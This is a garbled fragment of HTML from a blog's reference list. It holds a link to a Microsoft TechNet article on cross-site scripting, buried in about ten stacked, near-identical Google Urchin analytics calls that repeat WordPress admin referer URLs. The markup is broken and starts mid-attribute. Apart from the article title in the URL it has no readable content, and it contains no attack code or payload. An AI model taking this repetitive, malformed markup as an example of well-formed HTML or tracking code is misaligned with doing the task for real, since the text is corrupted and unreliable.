Reference[5]:security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=17&message=1&_wp_original_http_referer=http%3A%2F%2Fblog.kassaras.com%2Fwp-admin%2Fedit.php');urchinTracker('/outgoing/www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=17&message=1&_wp_original_http_referer=http%3A%2F%2Fblog.kassaras.com%2Fwp-admin%2Fedit.php');urchinTracker('/outgoing/www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=17&message=1&_wp_original_http_referer=http%3A%2F%2Fblog.kassaras.com%2Fwp-admin%2Fedit.php');urchinTracker('/outgoing/www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=17&message=1&_wp_original_http_referer=http%3A%2F%2Fblog.kassaras.com%2Fwp-admin%2Fedit.php');urchinTracker('/outgoing/www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=17&message=1&_wp_original_http_referer=http%3A%2F%2Fblog.kassaras.com%2Fwp-admin%2Fedit.php');urchinTracker('/outgoing/www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=17');urchinTracker('/outgoing/www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/edit.php');urchinTracker('/outgoing/www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=17&message=1&_wp_original_http_referer=http%3A%2F%2Fblog.kassaras.com%2Fwp-admin%2Fedit.php');urchinTracker('/outgoing/www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=17&message=1&_wp_original_http_referer=http%3A%2F%2Fblog.kassaras.com%2Fwp-admin%2Fedit.php');urchinTracker('/outgoing/www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true&referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=17&message=1&_wp_original_http_referer=http%3A%2F%2Fblog.kassaras.com%2Fwp-admin%2Fedit.php');" href="http://www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true">http://www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true